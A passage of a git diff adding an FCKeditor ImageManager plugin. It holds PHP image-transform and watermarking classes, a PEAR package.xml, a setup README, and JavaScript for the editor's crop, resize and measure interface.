+        }
+        $d->close();
+    }
+
+
+    function createUnique($dir)
+    {
+       $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+        
+       //make sure the the unique temp file does not exists
+        while (file_exists($dir.$unique_str))
+        {
+            $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+        }
+        
+      $this->cleanUp($this->uid, $dir);
+
+       return $unique_str;
+    }
+
+
+    /**
+     * Set the image width
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_img_x($size)
+    {
+        $this->img_x = $size;
+    }
+
+    /**
+     * Set the image height
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_img_y($size)
+    {
+        $this->img_y = $size;
+    }
+
+    /**
+     * Set the image width
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_new_x($size)
+    {
+        $this->new_x = $size;
+    }
+
+    /**
+     * Set the image height
+     * @param int $size dimension to set
+     * @since 29/05/02 13:36:31
+     * @return
+     */
+    function _set_new_y($size)
+    {
+        $this->new_y = $size;
+    }
+
+    /**
+     * Get the type of the image being manipulated
+     *
+     * @return string $this->type the image type
+     */
+    function getImageType()
+    {
+        return $this->type;
+    }
+
+    /**
+     *
+     * @access public
+     * @return string web-safe image type
+     */
+    function getWebSafeFormat()
+    {
+        switch($this->type){
+            case 'gif':
+            case 'png':
+                return 'png';
+                break;
+            default:
+                return 'jpeg';
+        } // switch
+    }
+
+    /**
+     * Place holder for the real resize method
+     * used by extended methods to do the resizing
+     *
+     * @access private
+     * @return PEAR_error
+     */
+    function _resize() {
+        return null; //PEAR::raiseError("No Resize method exists", true);
+    }
+
+    /**
+     * Place holder for the real load method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @return PEAR_error
+     */
+    function load($filename) {
+        return null; //PEAR::raiseError("No Load method exists", true);
+    }
+
+    /**
+     * Place holder for the real display method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @param string filename
+     * @return PEAR_error
+     */
+    function display($type, $quality) {
+        return null; //PEAR::raiseError("No Display method exists", true);
+    }
+
+    /**
+     * Place holder for the real save method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @param string filename
+     * @return PEAR_error
+     */
+    function save($filename, $type, $quality) {
+        return null; //PEAR::raiseError("No Save method exists", true);
+    }
+
+    /**
+     * Place holder for the real free method
+     * used by extended methods to do the resizing
+     *
+     * @access public
+     * @return PEAR_error
+     */
+    function free() {
+        return null; //PEAR::raiseError("No Free method exists", true);
+    }
+
+    /**
+     * Reverse of rgb2colorname.
+     *
+     * @access public
+     * @return PEAR_error
+     *
+     * @see rgb2colorname
+     */
+    function colorhex2colorarray($colorhex) {
+        $r = hexdec(substr($colorhex, 1, 2));
+        $g = hexdec(substr($colorhex, 3, 2));
+        $b = hexdec(substr($colorhex, 4, 2));
+        return array($r,$g,$b);
+    }
+
+    /**
+     * Reverse of rgb2colorname.
+     *
+     * @access public
+     * @return PEAR_error
+     *
+     * @see rgb2colorname
+     */
+    function colorarray2colorhex($color) {
+        $color = '#'.dechex($color[0]).dechex($color[1]).dechex($color[2]);
+        return strlen($color)>6?false:$color;
+    }
+
+
+    /* Methods to add to the driver classes in the future */
+    function addText()
+    {
+        return null; //PEAR::raiseError("No addText method exists", true);
+    }
+
+    function addDropShadow()
+    {
+        return null; //PEAR::raiseError("No AddDropShadow method exists", true);
+    }
+
+    function addBorder()
+    {
+        return null; //PEAR::raiseError("No addBorder method exists", true);
+    }
+
+    function crop()
+    {
+        return null; //PEAR::raiseError("No crop method exists", true);
+    }
+
+    function flip() 
+    {
+        return null;
+    }
+
+    function gamma()
+    {
+        return null; //PEAR::raiseError("No gamma method exists", true);
+    }
+}
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/api.watermark.php b/fckeditor/editor/plugins/ImageManager/Classes/api.watermark.php
new file mode 100644 (file)
index 0000000..5422af9
--- /dev/null
@@ -0,0 +1,104 @@
+<?php
+/**
+ * Watermarking API
+ * @author Brian Vaughn http://boynamedbri.com/  -  http://portfolio.boynamedbri.com/ -  @ devshed http://www.devshed.com/c/a/PHP/Dynamic-Watermarking-with-PHP/
+ * @author Paul Moers <mail@saulmade.nl> - small changes to place the watermark on a given coordinate and to only handle watermark area
+ * @version $Id: api.watermark.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+
+class watermark{
+
+       # given two images, return a blended watermarked image
+       function create_watermark( $main_img_obj, $watermark_img_obj, $alpha_level = 100, $watermarkX = -1, $watermarkY = -1 ) {
+               $alpha_level    /= 100; # convert 0-100 (%) alpha to decimal
+       
+               # calculate our images dimensions
+               $main_img_obj_w = imagesx( $main_img_obj );
+               $main_img_obj_h = imagesy( $main_img_obj );
+               $watermark_img_obj_w    = imagesx( $watermark_img_obj );
+               $watermark_img_obj_h    = imagesy( $watermark_img_obj );
+               
+               # determine watermark area for given coordinates
+               if ($watermarkX > - 1 && $watermarkY > -1)
+               {
+                       $main_img_obj_min_x     = $watermarkX;
+                       $main_img_obj_max_x     = $watermarkX + $watermark_img_obj_w;
+                       $main_img_obj_min_y     = $watermarkY;
+                       $main_img_obj_max_y     = $watermarkY + $watermark_img_obj_h;
+               }
+               # determine watermark area when centered
+               else
+               {
+                       $main_img_obj_min_x     = floor( ( $main_img_obj_w / 2 ) - ( $watermark_img_obj_w / 2 ) );
+                       $main_img_obj_max_x     = ceil( ( $main_img_obj_w / 2 ) + ( $watermark_img_obj_w / 2 ) );
+                       $main_img_obj_min_y     = floor( ( $main_img_obj_h / 2 ) - ( $watermark_img_obj_h / 2 ) );
+                       $main_img_obj_max_y     = ceil( ( $main_img_obj_h / 2 ) + ( $watermark_img_obj_h / 2 ) );
+               }
+
+               # create image copy to hold merged changes
+               $return_img     = $main_img_obj;
+
+               # walk through the watermark area
+               for( $y = $main_img_obj_min_y; $y < $main_img_obj_max_y; $y++ ) {
+                       for( $x = $main_img_obj_min_x; $x < $main_img_obj_max_x; $x++ ) {
+                               $return_color   = NULL;
+                               
+                               # determine the correct pixel location within our watermark
+                               $watermark_x    = $x - $main_img_obj_min_x;
+                               $watermark_y    = $y - $main_img_obj_min_y;
+                               
+                               # fetch color information for both of our images
+                               $main_rgb = imagecolorsforindex( $main_img_obj, imagecolorat( $main_img_obj, $x, $y ) );
+                               
+                               # if our watermark has a non-transparent value at this pixel intersection
+                               # and we're still within the bounds of the watermark image
+                               if (    $watermark_x >= 0 && $watermark_x < $watermark_img_obj_w &&
+                                                       $watermark_y >= 0 && $watermark_y < $watermark_img_obj_h ) {
+                                       $watermark_rbg = imagecolorsforindex( $watermark_img_obj, imagecolorat( $watermark_img_obj, $watermark_x, $watermark_y ) );
+                                       
+                                       # using image alpha, and user specified alpha, calculate average
+                                       $watermark_alpha        = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
+                                       $watermark_alpha        = $watermark_alpha * $alpha_level;
+                               
+                                       # calculate the color 'average' between the two - taking into account the specified alpha level
+                                       $avg_red                = $this->_get_ave_color( $main_rgb['red'],              $watermark_rbg['red'],          $watermark_alpha );
+                                       $avg_green      = $this->_get_ave_color( $main_rgb['green'],    $watermark_rbg['green'],        $watermark_alpha );
+                                       $avg_blue               = $this->_get_ave_color( $main_rgb['blue'],     $watermark_rbg['blue'],         $watermark_alpha );
+
+                                       # calculate a color index value using the average RGB values we've determined
+                                       $return_color   = $this->_get_image_color( $return_img, $avg_red, $avg_green, $avg_blue );
+                                       
+                               # if we're not dealing with an average color here, then let's just copy over the main color
+                               } else {
+                                       $return_color   = imagecolorat( $main_img_obj, $x, $y );
+                                       
+                               } # END if watermark
+               
+                               # draw the appropriate color onto the return image
+                               imagesetpixel( $return_img, $x, $y, $return_color );
+               
+                       } # END for each X pixel
+               } # END for each Y pixel
+                       
+               # return the resulting, watermarked image for display
+               return $return_img;
+       
+       } # END create_watermark()
+       
+       # average two colors given an alpha
+       function _get_ave_color( $color_a, $color_b, $alpha_level ) {
+               return round( ( ( $color_a * ( 1 - $alpha_level ) ) + ( $color_b        * $alpha_level ) ) );
+       } # END _get_ave_color()
+               
+       # return closest pallette-color match for RGB values
+       function _get_image_color($im, $r, $g, $b) {
+               $c=imagecolorexact($im, $r, $g, $b);
+               if ($c>0) return $c;
+               $c=imagecolorallocate($im, $r, $g, $b);
+               if ($c>0) return $c;
+               return imagecolorclosest($im, $r, $g, $b);
+       } # EBD _get_image_color()
+
+} # END watermark API
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/package.xml b/fckeditor/editor/plugins/ImageManager/Classes/package.xml
new file mode 100644 (file)
index 0000000..96ebab2
--- /dev/null
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE package SYSTEM "http://pear.php.net/dtd/package-1.0">
+<package version="1.0">
+  <name>Image_Transform</name>
+  <summary>Provides a standard interface to manipulate images using different libraries</summary>
+  <description>This package was written to provide a simpler and cross-library interface to doing image transformations and manipulations.
+It provides :
+
+* support for GD, ImageMagick, Imagick and NetPBM
+* files related functions
+* addText
+* Scale (by length, percentage, maximum X/Y)
+* Resize
+* Rotate (custom angle)
+* Add border (soon)
+* Add shadow (soon)</description>
+  <maintainers>
+    <maintainer>
+      <user>reywob</user>
+      <name>Peter Bowyer</name>
+      <email>peter@mapledesign.co.uk</email>
+      <role>lead</role>
+    </maintainer>
+    <maintainer>
+      <user>pajoye</user>
+      <name>Pierre-Alain Joye</name>
+      <email>paj@pearfr.org</email>
+      <role>lead</role>
+    </maintainer>
+  </maintainers>
+  <release>
+    <version>0.8</version>
+    <date>2003-12-29</date>
+    <license>PHP License</license>
+    <state>alpha</state>
+    <notes>Second public release, hopefully much more stable.  API nearly fixed.  NOT NECESSARILY COMPATIBLE WITH 0.1 - be warned!</notes>
+    <filelist>
+      <file role="php" baseinstalldir="Image" name="Transform.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\GD.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\GD1.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\IM.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\NetPBM.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\Imagick.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\Imagick2.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\Imlib.php"/>
+      <file role="php" baseinstalldir="Image/Transform" name="Driver\ColorsDefs.php"/>
+    </filelist>
+  </release>
+</package>
diff --git a/fckeditor/editor/plugins/ImageManager/README.txt b/fckeditor/editor/plugins/ImageManager/README.txt
new file mode 100644 (file)
index 0000000..8ad79b5
--- /dev/null
@@ -0,0 +1,47 @@
+Below are the steps required to setup the Wei Zhuo's Image Manager (http://www.zhuo.org/htmlarea/)
+as a plugin for FCKeditor.
+
+-----------------------------
+SETTING UP THE IMAGE MANAGER:
+-----------------------------
+
+- Firstly extract the archive to the editor/plugins directory
+- Edit the file 'editor/plugins/ImageManager/config.inc.php' to configure the plugin.
+
+---------------------------
+INSTALLING AS A FCK PLUGIN:
+---------------------------
+
+The required fckplugin.js file is already in the archive, so all you need to do is update fckconfig.js (in the root directory) and make the following updates:
+
+- The language for the plugin and to directEdit option must be set in its 'editor/plugins/ImageManager/fckplugin.js' file.
+-  Add the plugin to your FCKeditor by opening you 'fckconfig.js' file and update the 'FCKConfig.ToolbarSets' you're using by replacing 'Image' with 'ImageManager';
+   Register the plugin with the following statement: "FCKConfig.Plugins.Add('ImageManager');"
+- Done. (Should the toolbar icon not appear, try to clear your browser's cache)
+
+
+--------------------------------------------------------------
+UPDATING THE CONTEXT MENU FOR IMAGES TO USE THE IMAGE MANAGER:
+--------------------------------------------------------------
+
+Copy an icon for the image manager for the popup context menu
+cp /editor/skins/default/toolbar/image.gif /editor/skins/default/toolbar/imagemanager.gif
+
+edit editor/_source/internals/fckcontextmenu.js
+         - search for 'FCKLang.ImageProperties'
+         - replace the string in the parameter before the above mentioned one from 'Image' to 'ImageManager'.
+                       the line should now read:       return new FCKContextMenuGroup( true, this, 'ImageManager', FCKLang.ImageProperties, true ) ;
+
+This updates the _source context menu to use the image manager. However to avoid having to recompile the whole thing, also need to update the compiled versions too so also repeat the above on the following files:
+        
+        - editor/js/fckeditorcode_gecko_2.js
+        - editor/js/fckeditorcode_ie_2.js
+
+
+Enjoy!
+Brent Kelly
+Zeald.com
+http://www.zeald.com
+
+Paul Moers
+http://www.saulmade.nl
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/EditorContent.js b/fckeditor/editor/plugins/ImageManager/assets/EditorContent.js
new file mode 100644 (file)
index 0000000..bd7aae0
--- /dev/null
@@ -0,0 +1,744 @@
+/***********************************************************************
+** Title.........:  Online Image Editor Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  EditorContents.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Handles most of the interface routines for the ImageEditor.
+*
+* Added:  29 Mar 2004  - Constrainted resizing/scaling
+**/ 
+
+
+function MM_findObj(n, d) { //v4.01
+  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+  if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+  var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+  for (k=0; k<(args.length-3); k+=4)
+   if ((g=MM_findObj(args[k]))!=null) {
+    el=eval(MM_findObj(args[k+1]));
+    a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+    x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+    if(document.getElementById) {
+     d="document.getElementsByName('"+args[k]+"')[0]";
+     if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+    }else if(document.all) {d=da;} 
+    if (document.all || document.getElementById) {
+     while (tx==1) {p+=".offsetParent";
+      if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+      }else{tx=0;}}
+     ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+     if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
+      ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+      }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+      a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+      //alert(event.clientX);
+         if (window.event == null) x=document.body.scrollLeft + bx;
+               else x=document.body.scrollLeft + event.clientX + bx;
+         if (window.event == null) y=document.body.scrollTop;
+               else y=document.body.scrollTop + event.clientY;}}
+   }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+    for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+     if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+   if(el) {e=(document.layers)?el:el.style;
+   var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+   //alert(xx+":"+yy);
+   if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+   if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+    xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+    xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+    pic_x = parseInt(xx); pic_y = parseInt(yy);
+    //alert(xx+":"+yy);
+    }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize() 
+{
+    if(mode == "scale") 
+    {
+        P7_Snap('theImage','ant',0,0);
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+        
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        ant.style.left = pic_x; ant.style.top = pic_y;
+        ant.style.width = pic_width; ant.style.height = pic_height;
+        ant.style.visibility = "visible";
+
+        drawBoundHandle();
+        jg_doc.paint();
+    }
+}
+
+initEditor = function () 
+{
+    init_crop();
+    init_resize();
+    var markerImg = MM_findObj('markerImg', window.top.document);
+
+    if (markerImg.src.indexOf("img/t_white.gif")>0)
+        toggleMarker() ;
+}
+
+function init_crop() 
+{
+    //if(mode == "crop") {
+        P7_Snap('theImage','ant',0,0);
+    //}
+}
+
+function setMode(newMode) 
+{
+    mode = newMode;
+    reset();
+}
+
+function reset() 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    ant.style.visibility = "hidden";
+    ant.style.left = 0;
+    ant.style.top = 0;
+    ant.style.width = 0;
+    ant.style.height = 0;
+
+    mx2 = null;
+    my2 = null;
+
+    jg_doc.clear();
+    if(mode != 'measure')
+        showStatus();   
+
+    if(mode == "scale") {
+        init_resize();
+    }
+
+    P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker() 
+{
+    //alert("Toggle");
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if(ant.className=="selection")
+        ant.className="selectionWhite";
+    else
+        ant.className="selection";
+    
+    if (jg_doc.getColor() == "#000000")
+        jg_doc.setColor("#FFFFFF");
+    else
+        jg_doc.setColor("#000000");
+    
+    drawBoundHandle
+    jg_doc.paint();
+}
+
+
+function move(e)
+{
+    if (dragapproved)
+    {
+        //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+        //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+        var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+        var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+        //alert(canvas.style.left);
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+            status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+            status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+        }*/
+
+        /*jg_doc.clear();
+        jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+        jg_doc.paint();
+*/
+        if (ant != null)
+        {
+            if (w >= 0)
+            {
+                ant.style.left = x;
+                ant.style.width = w;
+            }
+            else
+            {
+                ant.style.left = x+w;
+                ant.style.width = -1*w;
+            }
+
+            if (h >= 0)
+            {
+                ant.style.top = y;
+                ant.style.height = h;
+            }
+            else
+            {
+                ant.style.top = y+h;
+                ant.style.height = -1*h
+            }
+        }
+        
+        showStatus();
+        return false
+    }
+}
+
+function moveContent(e) 
+{
+    if (dragapproved)
+    {
+
+        var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+        var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+        }*/
+
+        ant.style.left = dx;
+        ant.style.top = dy;
+
+        showStatus();
+
+        return false;
+    }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e) 
+{
+    if (dragapproved)
+    {
+        var w = ns6? e.clientX - x : event.clientX - x;
+        var h = ns6? e.clientY - y : event.clientY - y;
+        
+               var constrained = MM_findObj('constProp', window.top.document);
+        var orginal_height = document.theImage.height ;
+        var orginal_width = document.theImage.width ;
+        rapp = orginal_width/orginal_height ;
+        rapp_inv = orginal_height / orginal_width ;
+
+        switch(resizeHandle) 
+        {
+
+            case "s-resize":
+                if (oa_h + h >= 0) 
+                               {
+                    ant.style.height = oa_h + h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h + h) ;
+                        ant.style.left = oa_x - rapp * h/2;
+                                       }
+
+                               }
+                break;
+            case "e-resize":
+                if(oa_w + w >= 0)
+                               {
+                    ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                                       {
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                        ant.style.top = oa_y - rapp_inv * w/2;
+                    }
+
+                               }
+                break;
+            case "n-resize":
+                if (oa_h - h >= 0)
+                {
+                    ant.style.top = oa_y + h;
+                    ant.style.height = oa_h - h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h - h) ;
+                        ant.style.left = oa_x + rapp * h/2;
+                    }
+
+                }
+                break;
+            case "w-resize":
+                if(oa_w - w >= 0) 
+                               {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.height = rapp_inv * (oa_w - w) ;
+                                               ant.style.top = oa_y + rapp_inv * w/2;
+                    }
+
+                }break;
+            case "nw-resize":
+                if(oa_h - h >= 0 && oa_w - w >= 0) {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                    ant.style.top = oa_y + h;
+                    if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+            break;
+            case "ne-resize":
+                if (oa_h - h >= 0 && oa_w + w >= 0){
+                    ant.style.top = oa_y + h;
+                                       ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+                break;
+            case "se-resize":
+                if (oa_h + h >= 0 && oa_w + w >= 0) 
+                {
+                    ant.style.width = oa_w + w;
+                    if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h + h;
+                }
+                break;
+            case "sw-resize":
+                if (oa_h + h >= 0 && oa_w - w >= 0)
+                {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                       ant.style.height = oa_h + h;
+                               }
+        }
+        
+        showStatus();
+        return false;
+        
+    }
+}
+
+function drags(e)
+{
+    if (!ie&&!ns6)
+        return
+    
+    var firedobj=ns6? e.target : event.srcElement
+    var topelement=ns6? "HTML" : "BODY"
+
+    while (firedobj.tagName!=topelement&&
+            !(firedobj.className=="crop" 
+                || firedobj.className=="handleBox" 
+                || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+    {
+        firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+    }
+
+    if(firedobj.className=="handleBox") {
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        resizeHandle = firedobj.id;
+        
+        /*if(status!=null) {
+            status.innerHTML  = " obj:"+firedobj.id;
+        }*/
+
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+
+        oa_w = parseInt(ant.style.width);
+        oa_h = parseInt(ant.style.height);
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveHandle;
+        return false;
+    }
+    else
+    if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+        
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveContent;
+        return false;
+    }
+    else
+    if (firedobj.className=="crop" && mode == "crop")
+    {
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+
+        if (status == null)
+            status = MM_findObj("status");
+
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+        if(content == null) {
+            content = MM_findObj("cropContent");
+        }
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+
+        ant.style.visibility = "visible";
+
+        obj = firedobj;
+        dragapproved=true
+        z=firedobj
+        temp1=parseInt(z.style.left+0)
+        temp2=parseInt(z.style.top+0)
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        document.onmousemove=move
+        return false
+    }
+        else if(firedobj.className=="crop" && mode == "measure") {
+
+            if (ant == null)
+                ant = MM_findObj("ant");
+
+            if (canvas == null)
+                canvas = MM_findObj("imgCanvas");
+
+            x=ns6? e.clientX: event.clientX
+            y=ns6? e.clientY: event.clientY
+
+                //jg_doc.draw
+            dragapproved=true
+            document.onmousemove=measure
+
+            return false
+        }
+}
+
+function measure(e) 
+{
+    if (dragapproved)
+    {
+        mx2 = ns6? e.clientX : event.clientX;
+        my2 = ns6? e.clientY : event.clientY;
+        
+        jg_doc.clear();
+        jg_doc.setStroke(Stroke.DOTTED); 
+        jg_doc.drawLine(x,y,mx2,my2);
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+}
+
+function setMarker(nx,ny,nw,nh) 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if (canvas == null)
+        canvas = MM_findObj("imgCanvas");
+    if(content == null) {
+        content = MM_findObj("cropContent");
+    }
+
+    if (pic_width == null || pic_height == null)
+    {
+        image = MM_findObj("theImage");
+        pic_width = image.width;
+        pic_height = image.height;
+    }
+
+    ant.style.visibility = "visible";
+
+    nx = pic_x + nx;
+    ny = pic_y + ny;
+
+    if (nw >= 0)
+    {
+        ant.style.left = nx;
+        ant.style.width = nw;
+    }
+    else
+    {
+        ant.style.left = nx+nw;
+        ant.style.width = -1*nw;
+    }
+
+    if (nh >= 0)
+    {
+        ant.style.top = ny;
+        ant.style.height = nh;
+    }
+    else
+    {
+        ant.style.top = ny+nh;
+        ant.style.height = -1*nh
+    }
+
+    
+}
+
+function max(x,y) 
+{
+    if(y > x)
+        return x;
+    else 
+        return y;
+}
+
+function drawBoundHandle() 
+{
+    if(ant == null || ant.style == null) 
+        return false;
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+    jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+    jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+    jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+    jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+    jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+    jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+    jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+    jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+    jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+    jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+    jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+    jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+    jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+    jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+    jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+    //jg_doc.paint();
+}
+
+function showStatus() 
+{
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        //alert(pic_x);
+        mx1 = x - pic_x;
+        my1 = y - pic_y;
+
+        mw = mx2 - x;
+        mh = my2 - y;
+
+        md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+        ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+        if(mw < 0 && mh < 0)
+            ma = ma+180;
+
+        if (mw <0 && mh >0)
+            ma = ma - 180;
+
+        ma = parseInt(ma*100)/100;
+
+        if (m_sx != null && !isNaN(mx1))
+            m_sx.value = mx1+"px";
+        if (m_sy != null && !isNaN(my1))
+            m_sy.value = my1+"px";
+        if(m_w != null && !isNaN(mw))
+            m_w.value = mw + "px";
+        if(m_h != null && !isNaN(mh))
+            m_h.value = mh + "px";
+
+        if(m_d != null && !isNaN(md))
+            m_d.value = md + "px";
+        if(m_a != null && !isNaN(ma))
+            m_a.value = ma + "";
+
+        if(r_ra != null &&!isNaN(ma))
+            r_ra.value = ma;            
+
+        //alert("mx1:"+mx1+" my1"+my1);
+        return false;
+    }
+
+    var ah = parseInt(ant.style.height);
